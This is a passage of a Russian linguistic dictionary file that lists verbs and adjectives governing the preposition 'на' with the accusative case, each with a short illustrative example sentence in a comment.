безлич_глагол:хватит{}, // - На одну атаку хватит.
rus_verbs:скупиться{}, // Он сражался за жизнь, не скупясь на хитрости и усилия, и пока этот стиль давал неплохие результаты.
rus_verbs:поскупиться{}, // Не поскупись на похвалы!
rus_verbs:подыматься{},
rus_verbs:транспортироваться{},
rus_verbs:бахнуть{}, // Бахнуть стакан на пол
rus_verbs:РАЗДЕЛИТЬ{}, // Президентские выборы разделили Венесуэлу на два непримиримых лагеря (РАЗДЕЛИТЬ)
rus_verbs:НАЦЕЛИВАТЬСЯ{}, // Невдалеке пролетел кондор, нацеливаясь на бизонью тушу. (НАЦЕЛИВАТЬСЯ)
rus_verbs:ВЫПЛЕСНУТЬ{}, // Низкий вибрирующий гул напоминал вулкан, вот-вот готовый выплеснуть на земную твердь потоки раскаленной лавы. (ВЫПЛЕСНУТЬ)
rus_verbs:ИСЧЕЗНУТЬ{}, // Оно фыркнуло и исчезло в лесу на другой стороне дороги (ИСЧЕЗНУТЬ)
rus_verbs:ВЫЗВАТЬ{}, // вызвать своего брата на поединок. (ВЫЗВАТЬ)
rus_verbs:ПОБРЫЗГАТЬ{}, // Матрос побрызгал немного фимиама на крошечный огонь (ПОБРЫЗГАТЬ/БРЫЗГАТЬ/БРЫЗНУТЬ/КАПНУТЬ/КАПАТЬ/ПОКАПАТЬ)
rus_verbs:БРЫЗГАТЬ{},
rus_verbs:БРЫЗНУТЬ{},
rus_verbs:КАПНУТЬ{},
rus_verbs:КАПАТЬ{},
rus_verbs:ПОКАПАТЬ{},
rus_verbs:ПООХОТИТЬСЯ{}, // Мы можем когда-нибудь вернуться и поохотиться на него. (ПООХОТИТЬСЯ/ОХОТИТЬСЯ)
rus_verbs:ОХОТИТЬСЯ{}, //
rus_verbs:ПОПАСТЬСЯ{}, // Не думал я, что они попадутся на это (ПОПАСТЬСЯ/НАРВАТЬСЯ/НАТОЛКНУТЬСЯ)
rus_verbs:НАРВАТЬСЯ{}, //
rus_verbs:НАТОЛКНУТЬСЯ{}, //
rus_verbs:ВЫСЛАТЬ{}, // Он выслал разведчиков на большое расстояние от основного отряда. (ВЫСЛАТЬ)
прилагательное:ПОХОЖИЙ{}, // Ты не выглядишь похожим на индейца (ПОХОЖИЙ)
rus_verbs:РАЗОРВАТЬ{}, // Через минуту он был мертв и разорван на части. (РАЗОРВАТЬ)
rus_verbs:СТОЛКНУТЬ{}, // Только быстрыми выпадами копья он сумел столкнуть их обратно на карниз. (СТОЛКНУТЬ/СТАЛКИВАТЬ)
rus_verbs:СТАЛКИВАТЬ{}, //
rus_verbs:СПУСТИТЬ{}, // Я побежал к ним, но они к тому времени спустили лодку на воду (СПУСТИТЬ)
rus_verbs:ПЕРЕБРАСЫВАТЬ{}, // Сирия перебрасывает на юг страны воинские подкрепления (ПЕРЕБРАСЫВАТЬ, ПЕРЕБРОСИТЬ, НАБРАСЫВАТЬ, НАБРОСИТЬ)
rus_verbs:ПЕРЕБРОСИТЬ{}, //
rus_verbs:НАБРАСЫВАТЬ{}, //
rus_verbs:НАБРОСИТЬ{}, //
rus_verbs:СВЕРНУТЬ{}, // Он вывел машину на бульвар и поехал на восток, а затем свернул на юг. (СВЕРНУТЬ/СВОРАЧИВАТЬ/ПОВЕРНУТЬ/ПОВОРАЧИВАТЬ)
rus_verbs:СВОРАЧИВАТЬ{}, // //
rus_verbs:ПОВЕРНУТЬ{}, //
rus_verbs:ПОВОРАЧИВАТЬ{}, //
rus_verbs:наорать{},
rus_verbs:ПРОДВИНУТЬСЯ{}, // Полк продвинется на десятки километров (ПРОДВИНУТЬСЯ)
rus_verbs:БРОСАТЬ{}, // Он бросает обещания на ветер (БРОСАТЬ)
rus_verbs:ОДОЛЖИТЬ{}, // Я вам одолжу книгу на десять дней (ОДОЛЖИТЬ)
rus_verbs:перегнать{}, // Скот нужно перегнать с этого пастбища на другое
rus_verbs:перегонять{},
rus_verbs:выгонять{},
rus_verbs:выгнать{},
rus_verbs:СВОДИТЬСЯ{}, // сейчас панели кузовов расходятся по десяткам покрасочных постов и потом сводятся вновь на общий конвейер (СВОДИТЬСЯ)
rus_verbs:ПОЖЕРТВОВАТЬ{}, // Бывший функционер компартии Эстонии пожертвовал деньги на расследования преступлений коммунизма (ПОЖЕРТВОВАТЬ)
rus_verbs:ПРОВЕРЯТЬ{}, // Школьников будут принудительно проверять на курение (ПРОВЕРЯТЬ)
rus_verbs:ОТПУСТИТЬ{}, // Приставы отпустят должников на отдых (ОТПУСТИТЬ)
rus_verbs:использоваться{}, // имеющийся у государства денежный запас активно используется на поддержание рынка акций
rus_verbs:назначаться{}, // назначаться на пост
rus_verbs:наблюдать{}, // Судья , долго наблюдавший в трубу , вдруг вскричал
rus_verbs:ШПИОНИТЬ{}, // Канадского офицера, шпионившего на Россию, приговорили к 20 годам тюрьмы (ШПИОНИТЬ НА вин)
rus_verbs:ЗАПЛАНИРОВАТЬ{}, // все деньги , запланированные на сейсмоукрепление домов на Камчатке (ЗАПЛАНИРОВАТЬ НА)
// rus_verbs:ПОХОДИТЬ{}, // больше походил на обвинительную речь , адресованную руководству республики (ПОХОДИТЬ НА)
rus_verbs:ДЕЙСТВОВАТЬ{}, // выявленный контрабандный канал действовал на постоянной основе (ДЕЙСТВОВАТЬ НА)
rus_verbs:ПЕРЕДАТЬ{}, // после чего должно быть передано на рассмотрение суда (ПЕРЕДАТЬ НА вин)
rus_verbs:НАЗНАЧИТЬСЯ{}, // Зимой на эту должность пытался назначиться народный депутат (НАЗНАЧИТЬСЯ НА)
rus_verbs:РЕШИТЬСЯ{}, // Франция решилась на одностороннее и рискованное военное вмешательство (РЕШИТЬСЯ НА)
rus_verbs:ОРИЕНТИРОВАТЬ{}, // Этот браузер полностью ориентирован на планшеты и сенсорный ввод (ОРИЕНТИРОВАТЬ НА вин)
rus_verbs:ЗАВЕСТИ{}, // на Витьку завели дело (ЗАВЕСТИ НА)
rus_verbs:ОБРУШИТЬСЯ{}, // В Северной Осетии на воинскую часть обрушилась снежная лавина (ОБРУШИТЬСЯ В, НА)
rus_verbs:НАСТРАИВАТЬСЯ{}, // гетеродин, настраивающийся на волну (НАСТРАИВАТЬСЯ НА)
rus_verbs:СУЩЕСТВОВАТЬ{}, // Он существует на средства родителей. (СУЩЕСТВОВАТЬ НА)
прилагательное:способный{}, // Он способен на убийство. (СПОСОБНЫЙ НА)
rus_verbs:посыпаться{}, // на Нину посыпались снежинки
инфинитив:нарезаться{ вид:несоверш }, // Урожай собирают механически или вручную, стебли нарезаются на куски и быстро транспортируются на перерабатывающий завод.
глагол:нарезаться{ вид:несоверш },
rus_verbs:пожаловать{}, // скандально известный певец пожаловал к нам на передачу
rus_verbs:показать{}, // Вадим показал на Колю
rus_verbs:съехаться{}, // Финалисты съехались на свои игры в Лос-Анжелес. (СЪЕХАТЬСЯ НА, В)
rus_verbs:расщепляться{}, // Сахароза же быстро расщепляется в пищеварительном тракте на глюкозу и фруктозу (РАСЩЕПЛЯТЬСЯ В, НА)
rus_verbs:упасть{}, // В Таиланде на автобус с российскими туристами упал башенный кран (УПАСТЬ В, НА)
прилагательное:тугой{}, // Бабушка туга на ухо. (ТУГОЙ НА)
rus_verbs:свисать{}, // Волосы свисают на лоб. (свисать на)
rus_verbs:ЦЕНИТЬСЯ{}, // Всякая рабочая рука ценилась на вес золота. (ЦЕНИТЬСЯ НА)
rus_verbs:ШУМЕТЬ{}, // Вы шумите на весь дом! (ШУМЕТЬ НА)
rus_verbs:протянуться{}, // Дорога протянулась на сотни километров. (протянуться на)
rus_verbs:РАССЧИТАТЬ{}, // Книга рассчитана на массового читателя. (РАССЧИТАТЬ НА)
rus_verbs:СОРИЕНТИРОВАТЬ{}, // мы сориентировали процесс на повышение котировок (СОРИЕНТИРОВАТЬ НА)
rus_verbs:рыкнуть{}, // рыкнуть на остальных членов стаи (рыкнуть на)
rus_verbs:оканчиваться{}, // оканчиваться на звонкую согласную (оканчиваться на)
rus_verbs:выехать{}, // посигналить нарушителю, выехавшему на встречную полосу (выехать на)
rus_verbs:прийтись{}, // Пятое число пришлось на субботу.
rus_verbs:крениться{}, // корабль кренился на правый борт (крениться на)
rus_verbs:приходиться{}, // основной налоговый гнет приходится на средний бизнес (приходиться на)
rus_verbs:верить{}, // верить людям на слово (верить на слово)
rus_verbs:выезжать{}, // Завтра вся семья выезжает на новую квартиру.
rus_verbs:записать{}, // Запишите меня на завтрашний приём к доктору.
rus_verbs:пасть{}, // Жребий пал на меня.
rus_verbs:ездить{}, // Вчера мы ездили на оперу.
rus_verbs:влезть{}, // Мальчик влез на дерево.
rus_verbs:выбежать{}, // Мальчик выбежал из комнаты на улицу.
rus_verbs:разбиться{}, // окно разбилось на мелкие осколки
rus_verbs:бежать{}, // я бегу на урок
rus_verbs:сбегаться{}, // сбегаться на происшествие
rus_verbs:присылать{}, // присылать на испытание
rus_verbs:надавить{}, // надавить на педать
rus_verbs:внести{}, // внести законопроект на рассмотрение
rus_verbs:вносить{}, // вносить законопроект на рассмотрение
rus_verbs:поворачиваться{}, // поворачиваться на 180 градусов
rus_verbs:сдвинуть{}, // сдвинуть на несколько сантиметров
rus_verbs:опубликовать{}, // С.Митрохин опубликовал компромат на думских подельников Гудкова
rus_verbs:вырасти{}, // Официальный курс доллара вырос на 26 копеек.
rus_verbs:оглядываться{}, // оглядываться на девушек
rus_verbs:расходиться{}, // расходиться на отдых
rus_verbs:поскакать{}, // поскакать на службу
rus_verbs:прыгать{}, // прыгать на сцену
rus_verbs:приглашать{}, // приглашать на обед
rus_verbs:рваться{}, // Кусок ткани рвется на части
rus_verbs:понестись{}, // понестись на волю
rus_verbs:распространяться{}, // распространяться на всех жителей штата
инфинитив:просыпаться{ вид:соверш }, глагол:просыпаться{ вид:соверш }, // просыпаться на пол
инфинитив:просыпаться{ вид:несоверш }, глагол:просыпаться{ вид:несоверш },
деепричастие:просыпавшись{}, деепричастие:просыпаясь{},
rus_verbs:заехать{}, // заехать на пандус
rus_verbs:разобрать{}, // разобрать на составляющие
rus_verbs:опускаться{}, // опускаться на колени
rus_verbs:переехать{}, // переехать на конспиративную квартиру
rus_verbs:закрывать{}, // закрывать глаза на действия конкурентов
rus_verbs:поместить{}, // поместить на поднос
rus_verbs:отходить{}, // отходить на подготовленные позиции
rus_verbs:сыпаться{}, // сыпаться на плечи
rus_verbs:отвезти{}, // отвезти на занятия
rus_verbs:накинуть{}, // накинуть на плечи
rus_verbs:отлететь{}, // отлететь на пол
rus_verbs:закинуть{}, // закинуть на чердак
rus_verbs:зашипеть{}, // зашипеть на собаку
rus_verbs:прогреметь{}, // прогреметь на всю страну
rus_verbs:повалить{}, // повалить на стол
rus_verbs:опереть{}, // опереть на фундамент
rus_verbs:забросить{}, // забросить на антресоль
rus_verbs:подействовать{}, // подействовать на материал
rus_verbs:разделять{}, // разделять на части
rus_verbs:прикрикнуть{}, // прикрикнуть на детей
rus_verbs:разложить{}, // разложить на множители
rus_verbs:провожать{}, // провожать на работу
rus_verbs:катить{}, // катить на стройку
rus_verbs:наложить{}, // наложить запрет на проведение операций с недвижимостью
rus_verbs:сохранять{}, // сохранять на память
rus_verbs:злиться{}, // злиться на друга
rus_verbs:оборачиваться{}, // оборачиваться на свист
rus_verbs:сползти{}, // сползти на землю
rus_verbs:записывать{}, // записывать на ленту
rus_verbs:загнать{}, // загнать на дерево
rus_verbs:забормотать{}, // забормотать на ухо
rus_verbs:протиснуться{}, // протиснуться на самый край
rus_verbs:заторопиться{}, // заторопиться на вручение премии
rus_verbs:гаркнуть{}, // гаркнуть на шалунов
rus_verbs:навалиться{}, // навалиться на виновника всей толпой
rus_verbs:проскользнуть{}, // проскользнуть на крышу дома
rus_verbs:подтянуть{}, // подтянуть на палубу
rus_verbs:скатиться{}, // скатиться на двойки
rus_verbs:давить{}, // давить на жалость
rus_verbs:намекнуть{}, // намекнуть на новые обстоятельства
rus_verbs:замахнуться{}, // замахнуться на святое
rus_verbs:заменить{}, // заменить на свежую салфетку
rus_verbs:свалить{}, // свалить на землю
rus_verbs:стекать{}, // стекать на оголенные провода
rus_verbs:увеличиваться{}, // увеличиваться на сотню процентов
rus_verbs:развалиться{}, // развалиться на части
rus_verbs:сердиться{}, // сердиться на товарища
rus_verbs:обронить{}, // обронить на пол
rus_verbs:подсесть{}, // подсесть на наркоту
rus_verbs:реагировать{}, // реагировать на импульсы
rus_verbs:отпускать{}, // отпускать на волю
rus_verbs:прогнать{}, // прогнать на рабочее место
rus_verbs:ложить{}, // ложить на стол
rus_verbs:рвать{}, // рвать на части
rus_verbs:разлететься{}, // разлететься на кусочки
rus_verbs:превышать{}, // превышать на существенную величину
rus_verbs:сбиться{}, // сбиться на рысь
rus_verbs:пристроиться{}, // пристроиться на хорошую работу
rus_verbs:удрать{}, // удрать на пастбище
rus_verbs:толкать{}, // толкать на преступление
rus_verbs:посматривать{}, // посматривать на экран
rus_verbs:набирать{}, // набирать на судно
rus_verbs:отступать{}, // отступать на дерево
rus_verbs:подуть{}, // подуть на молоко
rus_verbs:плеснуть{}, // плеснуть на голову
rus_verbs:соскользнуть{}, // соскользнуть на землю
rus_verbs:затаить{}, // затаить на кого-то обиду
rus_verbs:обижаться{}, // обижаться на Колю
rus_verbs:смахнуть{}, // смахнуть на пол
rus_verbs:застегнуть{}, // застегнуть на все пуговицы
rus_verbs:спускать{}, // спускать на землю
rus_verbs:греметь{}, // греметь на всю округу
rus_verbs:скосить{}, // скосить на соседа глаз
rus_verbs:отважиться{}, // отважиться на прыжок
rus_verbs:литься{}, // литься на землю
rus_verbs:порвать{}, // порвать на тряпки
rus_verbs:проследовать{}, // проследовать на сцену
rus_verbs:надевать{}, // надевать на голову
rus_verbs:проскочить{}, // проскочить на красный свет
rus_verbs:прилечь{}, // прилечь на диванчик
rus_verbs:разделиться{}, // разделиться на небольшие группы
rus_verbs:завыть{}, // завыть на луну
rus_verbs:переносить{}, // переносить на другую машину
rus_verbs:наговорить{}, // наговорить на сотню рублей
rus_verbs:намекать{}, // намекать на новые обстоятельства
rus_verbs:нападать{}, // нападать на охранников
rus_verbs:убегать{}, // убегать на другое место
rus_verbs:тратить{}, // тратить на развлечения
rus_verbs:присаживаться{}, // присаживаться на корточки
rus_verbs:переместиться{}, // переместиться на вторую линию
rus_verbs:завалиться{}, // завалиться на диван
rus_verbs:удалиться{}, // удалиться на покой
rus_verbs:уменьшаться{}, // уменьшаться на несколько процентов
rus_verbs:обрушить{}, // обрушить на голову
rus_verbs:резать{}, // резать на части
rus_verbs:умчаться{}, // умчаться на юг
rus_verbs:навернуться{}, // навернуться на камень
rus_verbs:примчаться{}, // примчаться на матч
rus_verbs:издавать{}, // издавать на собственные средства
rus_verbs:переключить{}, // переключить на другой язык
rus_verbs:отправлять{}, // отправлять на пенсию
rus_verbs:залечь{}, // залечь на дно
rus_verbs:установиться{}, // установиться на диск
rus_verbs:направлять{}, // направлять на дополнительное обследование
rus_verbs:разрезать{}, // разрезать на части
rus_verbs:оскалиться{}, // оскалиться на прохожего
rus_verbs:рычать{}, // рычать на пьяных
rus_verbs:погружаться{}, // погружаться на дно
rus_verbs:опираться{}, // опираться на костыли
rus_verbs:поторопиться{}, // поторопиться на учебу
rus_verbs:сдвинуться{}, // сдвинуться на сантиметр
rus_verbs:увеличить{}, // увеличить на процент
rus_verbs:опускать{}, // опускать на землю
rus_verbs:созвать{}, // созвать на митинг
rus_verbs:делить{}, // делить на части
rus_verbs:пробиться{}, // пробиться на заключительную часть
rus_verbs:простираться{}, // простираться на много миль
rus_verbs:забить{}, // забить на учебу
rus_verbs:переложить{}, // переложить на чужие плечи
rus_verbs:грохнуться{}, // грохнуться на землю
rus_verbs:прорваться{}, // прорваться на сцену
rus_verbs:разлить{}, // разлить на землю
rus_verbs:укладываться{}, // укладываться на ночевку
rus_verbs:уволить{}, // уволить на пенсию
rus_verbs:наносить{}, // наносить на кожу
rus_verbs:набежать{}, // набежать на берег
rus_verbs:заявиться{}, // заявиться на стрельбище
rus_verbs:налиться{}, // налиться на крышку
rus_verbs:надвигаться{}, // надвигаться на берег
rus_verbs:распустить{}, // распустить на каникулы
rus_verbs:переключиться{}, // переключиться на другую задачу
rus_verbs:чихнуть{}, // чихнуть на окружающих
rus_verbs:шлепнуться{}, // шлепнуться на спину
rus_verbs:устанавливать{}, // устанавливать на крышу
rus_verbs:устанавливаться{}, // устанавливаться на крышу
rus_verbs:устраиваться{}, // устраиваться на работу
rus_verbs:пропускать{}, // пропускать на стадион
инфинитив:сбегать{ вид:соверш }, глагол:сбегать{ вид:соверш }, // сбегать на фильм
инфинитив:сбегать{ вид:несоверш }, глагол:сбегать{ вид:несоверш },
деепричастие:сбегав{}, деепричастие:сбегая{},
rus_verbs:показываться{}, // показываться на глаза
rus_verbs:прибегать{}, // прибегать на урок
rus_verbs:съездить{}, // съездить на ферму
rus_verbs:прославиться{}, // прославиться на всю страну
rus_verbs:опрокинуться{}, // опрокинуться на спину
rus_verbs:насыпать{}, // насыпать на землю
rus_verbs:употреблять{}, // употреблять на корм скоту
rus_verbs:пристроить{}, // пристроить на работу
rus_verbs:заворчать{}, // заворчать на вошедшего
rus_verbs:завязаться{}, // завязаться на поставщиков
rus_verbs:сажать{}, // сажать на стул
rus_verbs:напрашиваться{}, // напрашиваться на жесткие ответные меры
rus_verbs:заменять{}, // заменять на исправную
rus_verbs:нацепить{}, // нацепить на голову
rus_verbs:сыпать{}, // сыпать на землю
rus_verbs:закрываться{}, // закрываться на ремонт
rus_verbs:распространиться{}, // распространиться на всю популяцию
rus_verbs:поменять{}, // поменять на велосипед
rus_verbs:пересесть{}, // пересесть на велосипеды
rus_verbs:подоспеть{}, // подоспеть на разбор
rus_verbs:шипеть{}, // шипеть на собак
rus_verbs:поделить{}, // поделить на части
rus_verbs:подлететь{}, // подлететь на расстояние выстрела
rus_verbs:нажимать{}, // нажимать на все кнопки
rus_verbs:распасться{}, // распасться на части
rus_verbs:приволочь{}, // приволочь на диван
rus_verbs:пожить{}, // пожить на один доллар
rus_verbs:устремляться{}, // устремляться на свободу
rus_verbs:смахивать{}, // смахивать на пол
rus_verbs:забежать{}, // забежать на обед
rus_verbs:увеличиться{}, // увеличиться на существенную величину
rus_verbs:прокрасться{}, // прокрасться на склад
rus_verbs:пущать{}, // пущать на постой
rus_verbs:отклонить{}, // отклонить на несколько градусов
rus_verbs:насмотреться{}, // насмотреться на безобразия
rus_verbs:настроить{}, // настроить на короткие волны
rus_verbs:уменьшиться{}, // уменьшиться на пару сантиметров
rus_verbs:поменяться{}, // поменяться на другую книжку
rus_verbs:расколоться{}, // расколоться на части
rus_verbs:разлиться{}, // разлиться на землю
rus_verbs:срываться{}, // срываться на жену
rus_verbs:осудить{}, // осудить на пожизненное заключение
rus_verbs:передвинуть{}, // передвинуть на первое место
rus_verbs:допускаться{}, // допускаться на полигон
rus_verbs:задвинуть{}, // задвинуть на полку
rus_verbs:повлиять{}, // повлиять на оценку
rus_verbs:отбавлять{}, // отбавлять на осмотр
rus_verbs:сбрасывать{}, // сбрасывать на землю
rus_verbs:накинуться{}, // накинуться на случайных прохожих
rus_verbs:пролить{}, // пролить на кожу руки
rus_verbs:затащить{}, // затащить на сеновал
rus_verbs:перебежать{}, // перебежать на сторону противника
rus_verbs:наливать{}, // наливать на скатерть
rus_verbs:пролезть{}, // пролезть на сцену
rus_verbs:откладывать{}, // откладывать на черный день
rus_verbs:распадаться{}, // распадаться на небольшие фрагменты
rus_verbs:перечислить{}, // перечислить на счет
rus_verbs:закачаться{}, // закачаться на верхний уровень
rus_verbs:накрениться{}, // накрениться на правый борт
rus_verbs:подвинуться{}, // подвинуться на один уровень
rus_verbs:разнести{}, // разнести на мелкие кусочки
rus_verbs:зажить{}, // зажить на широкую ногу
rus_verbs:оглохнуть{}, // оглохнуть на правое ухо
rus_verbs:посетовать{}, // посетовать на бюрократизм
rus_verbs:уводить{}, // уводить на осмотр
rus_verbs:ускакать{}, // ускакать на забег
rus_verbs:посветить{}, // посветить на стену
rus_verbs:разрываться{}, // разрываться на части
rus_verbs:побросать{}, // побросать на землю
rus_verbs:карабкаться{}, // карабкаться на скалу
rus_verbs:нахлынуть{}, // нахлынуть на кого-то
rus_verbs:разлетаться{}, // разлетаться на мелкие осколочки
rus_verbs:среагировать{}, // среагировать на сигнал
rus_verbs:претендовать{}, // претендовать на приз
rus_verbs:дунуть{}, // дунуть на одуванчик
rus_verbs:переводиться{}, // переводиться на другую работу
rus_verbs:перевезти{}, // перевезти на другую площадку
rus_verbs:топать{}, // топать на урок
rus_verbs:относить{}, // относить на склад
rus_verbs:сбивать{}, // сбивать на землю
rus_verbs:укладывать{}, // укладывать на спину
rus_verbs:укатить{}, // укатить на отдых
rus_verbs:убирать{}, // убирать на полку
rus_verbs:опасть{}, // опасть на землю
rus_verbs:ронять{}, // ронять на снег
rus_verbs:пялиться{}, // пялиться на тело
rus_verbs:глазеть{}, // глазеть на тело
rus_verbs:снижаться{}, // снижаться на безопасную высоту
rus_verbs:запрыгнуть{}, // запрыгнуть на платформу
rus_verbs:разбиваться{}, // разбиваться на главы
rus_verbs:сгодиться{}, // сгодиться на фарш
rus_verbs:перескочить{}, // перескочить на другую страницу
rus_verbs:нацелиться{}, // нацелиться на главную добычу
rus_verbs:заезжать{}, // заезжать на бордюр
rus_verbs:забираться{}, // забираться на крышу
rus_verbs:проорать{}, // проорать на всё село
rus_verbs:сбежаться{}, // сбежаться на шум
rus_verbs:сменять{}, // сменять на хлеб
rus_verbs:мотать{}, // мотать на ус
rus_verbs:раскалываться{}, // раскалываться на две половинки
rus_verbs:коситься{}, // коситься на режиссёра
rus_verbs:плевать{}, // плевать на законы
rus_verbs:ссылаться{}, // ссылаться на авторитетное мнение
rus_verbs:наставить{}, // наставить на путь истинный
rus_verbs:завывать{}, // завывать на Луну
rus_verbs:опаздывать{}, // опаздывать на совещание
rus_verbs:залюбоваться{}, // залюбоваться на пейзаж
rus_verbs:повергнуть{}, // повергнуть на землю
rus_verbs:надвинуть{}, // надвинуть на лоб
rus_verbs:стекаться{}, // стекаться на площадь
rus_verbs:обозлиться{}, // обозлиться на тренера
rus_verbs:оттянуть{}, // оттянуть на себя
rus_verbs:истратить{}, // истратить на дешевых шлюх
rus_verbs:вышвырнуть{}, // вышвырнуть на улицу
rus_verbs:затолкать{}, // затолкать на верхнюю полку
rus_verbs:заскочить{}, // заскочить на огонек
rus_verbs:проситься{}, // проситься на улицу
rus_verbs:натыкаться{}, // натыкаться на борщевик
rus_verbs:обрушиваться{}, // обрушиваться на митингующих
rus_verbs:переписать{}, // переписать на чистовик
rus_verbs:переноситься{}, // переноситься на другое устройство
rus_verbs:напроситься{}, // напроситься на обидный ответ
rus_verbs:натягивать{}, // натягивать на ноги
rus_verbs:кидаться{}, // кидаться на прохожих
rus_verbs:откликаться{}, // откликаться на призыв
rus_verbs:поспевать{}, // поспевать на балет
rus_verbs:обратиться{}, // обратиться на кафедру
rus_verbs:полюбоваться{}, // полюбоваться на бюст
rus_verbs:таращиться{}, // таращиться на мустангов
rus_verbs:напороться{}, // напороться на колючки
rus_verbs:раздать{}, // раздать на руки
rus_verbs:дивиться{}, // дивиться на танцовщиц
rus_verbs:назначать{}, // назначать на ответственнейший пост
rus_verbs:кидать{}, // кидать на балкон
rus_verbs:нахлобучить{}, // нахлобучить на башку
rus_verbs:увлекать{}, // увлекать на луг
rus_verbs:ругнуться{}, // ругнуться на животину
rus_verbs:переселиться{}, // переселиться на хутор
rus_verbs:разрывать{}, // разрывать на части
rus_verbs:утащить{}, // утащить на дерево
rus_verbs:наставлять{}, // наставлять на путь
rus_verbs:соблазнить{}, // соблазнить на обмен
rus_verbs:накладывать{}, // накладывать на рану
rus_verbs:набрести{}, // набрести на грибную поляну
rus_verbs:наведываться{}, // наведываться на прежнюю работу
rus_verbs:погулять{}, // погулять на чужие деньги
rus_verbs:уклоняться{}, // уклоняться на два градуса влево
rus_verbs:слезать{}, // слезать на землю
rus_verbs:клевать{}, // клевать на мотыля
// rus_verbs:назначаться{}, // назначаться на пост
rus_verbs:напялить{}, // напялить на голову
rus_verbs:натянуться{}, // натянуться на рамку
rus_verbs:разгневаться{}, // разгневаться на придворных
rus_verbs:эмигрировать{}, // эмигрировать на Кипр
rus_verbs:накатить{}, // накатить на основу
rus_verbs:пригнать{}, // пригнать на пастбище
rus_verbs:обречь{}, // обречь на мучения
rus_verbs:сокращаться{}, // сокращаться на четверть
rus_verbs:оттеснить{}, // оттеснить на пристань
rus_verbs:подбить{}, // подбить на аферу
rus_verbs:заманить{}, // заманить на дерево
инфинитив:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="поп^исать" }, // пописать на кустик
// деепричастие:пописав{ aux stress="поп^исать" },
rus_verbs:посходить{}, // посходить на перрон
rus_verbs:налечь{}, // налечь на мясцо
rus_verbs:отбирать{}, // отбирать на флот
rus_verbs:нашептывать{}, // нашептывать на ухо
rus_verbs:откладываться{}, // откладываться на будущее
rus_verbs:залаять{}, // залаять на грабителя
rus_verbs:настроиться{}, // настроиться на прием
rus_verbs:разбивать{}, // разбивать на куски
rus_verbs:пролиться{}, // пролиться на почву
rus_verbs:сетовать{}, // сетовать на объективные трудности
rus_verbs:подвезти{}, // подвезти на митинг
rus_verbs:припереться{}, // припереться на праздник
rus_verbs:подталкивать{}, // подталкивать на прыжок
rus_verbs:прорываться{}, // прорываться на сцену
rus_verbs:снижать{}, // снижать на несколько процентов
rus_verbs:нацелить{}, // нацелить на танк
rus_verbs:расколоть{}, // расколоть на два куска
rus_verbs:увозить{}, // увозить на обкатку
rus_verbs:оседать{}, // оседать на дно
rus_verbs:съедать{}, // съедать на ужин
rus_verbs:навлечь{}, // навлечь на себя
rus_verbs:равняться{}, // равняться на лучших
rus_verbs:сориентироваться{}, // сориентироваться на местности
rus_verbs:снизить{}, // снизить на несколько процентов
rus_verbs:перенестись{}, // перенестись на много лет назад
rus_verbs:завезти{}, // завезти на склад
rus_verbs:проложить{}, // проложить на гору
rus_verbs:понадеяться{}, // понадеяться на удачу
rus_verbs:заступить{}, // заступить на вахту
rus_verbs:засеменить{}, // засеменить на выход
rus_verbs:запирать{}, // запирать на ключ
rus_verbs:скатываться{}, // скатываться на землю
rus_verbs:дробить{}, // дробить на части
rus_verbs:разваливаться{}, // разваливаться на кусочки
rus_verbs:завозиться{}, // завозиться на склад
rus_verbs:нанимать{}, // нанимать на дневную работу
rus_verbs:поспеть{}, // поспеть на концерт
rus_verbs:променять{}, // променять на сытость
rus_verbs:переправить{}, // переправить на север
rus_verbs:налетать{}, // налетать на силовое поле
rus_verbs:затворить{}, // затворить на замок
rus_verbs:подогнать{}, // подогнать на пристань
rus_verbs:наехать{}, // наехать на камень
rus_verbs:распевать{}, // распевать на разные голоса
rus_verbs:разносить{}, // разносить на клочки
rus_verbs:преувеличивать{}, // преувеличивать на много килограммов
rus_verbs:хромать{}, // хромать на одну ногу
rus_verbs:телеграфировать{}, // телеграфировать на базу
rus_verbs:порезать{}, // порезать на лоскуты
rus_verbs:порваться{}, // порваться на части
rus_verbs:загонять{}, // загонять на дерево
rus_verbs:отбывать{}, // отбывать на место службы
rus_verbs:усаживаться{}, // усаживаться на трон
rus_verbs:накопить{}, // накопить на квартиру
rus_verbs:зыркнуть{}, // зыркнуть на визитера
rus_verbs:копить{}, // копить на машину
rus_verbs:помещать{}, // помещать на верхнюю грань
rus_verbs:сползать{}, // сползать на снег
rus_verbs:попроситься{}, // попроситься на улицу
rus_verbs:перетащить{}, // перетащить на чердак
rus_verbs:растащить{}, // растащить на сувениры
rus_verbs:ниспадать{}, // ниспадать на землю
rus_verbs:сфотографировать{}, // сфотографировать на память
rus_verbs:нагонять{}, // нагонять на конкурентов страх
rus_verbs:покушаться{}, // покушаться на понтифика
rus_verbs:покуситься{},
rus_verbs:наняться{}, // наняться на службу
rus_verbs:просачиваться{}, // просачиваться на поверхность
rus_verbs:пускаться{}, // пускаться на ветер
rus_verbs:отваживаться{}, // отваживаться на прыжок
rus_verbs:досадовать{}, // досадовать на объективные трудности
rus_verbs:унестись{}, // унестись на небо
rus_verbs:ухудшаться{}, // ухудшаться на несколько процентов
rus_verbs:насадить{}, // насадить на копьё
rus_verbs:нагрянуть{}, // нагрянуть на праздник
rus_verbs:зашвырнуть{}, // зашвырнуть на полку
rus_verbs:грешить{}, // грешить на постояльцев
rus_verbs:просочиться{}, // просочиться на поверхность
rus_verbs:надоумить{}, // надоумить на глупость
rus_verbs:намотать{}, // намотать на шпиндель
rus_verbs:замкнуть{}, // замкнуть на корпус
rus_verbs:цыкнуть{}, // цыкнуть на детей
rus_verbs:переворачиваться{}, // переворачиваться на спину
rus_verbs:соваться{}, // соваться на площать
rus_verbs:отлучиться{}, // отлучиться на обед
rus_verbs:пенять{}, // пенять на себя
rus_verbs:нарезать{}, // нарезать на ломтики
rus_verbs:поставлять{}, // поставлять на Кипр
rus_verbs:залезать{}, // залезать на балкон
rus_verbs:отлучаться{}, // отлучаться на обед
rus_verbs:сбиваться{}, // сбиваться на шаг
rus_verbs:таращить{}, // таращить глаза на вошедшего
rus_verbs:прошмыгнуть{}, // прошмыгнуть на кухню
rus_verbs:опережать{}, // опережать на пару сантиметров
rus_verbs:переставить{}, // переставить на стол
rus_verbs:раздирать{}, // раздирать на части
rus_verbs:затвориться{}, // затвориться на засовы
rus_verbs:материться{}, // материться на кого-то
rus_verbs:наскочить{}, // наскочить на риф
rus_verbs:набираться{}, // набираться на борт
rus_verbs:покрикивать{}, // покрикивать на помощников
rus_verbs:заменяться{}, // заменяться на более новый
rus_verbs:подсадить{}, // подсадить на верхнюю полку
rus_verbs:проковылять{}, // проковылять на кухню
rus_verbs:прикатить{}, // прикатить на старт
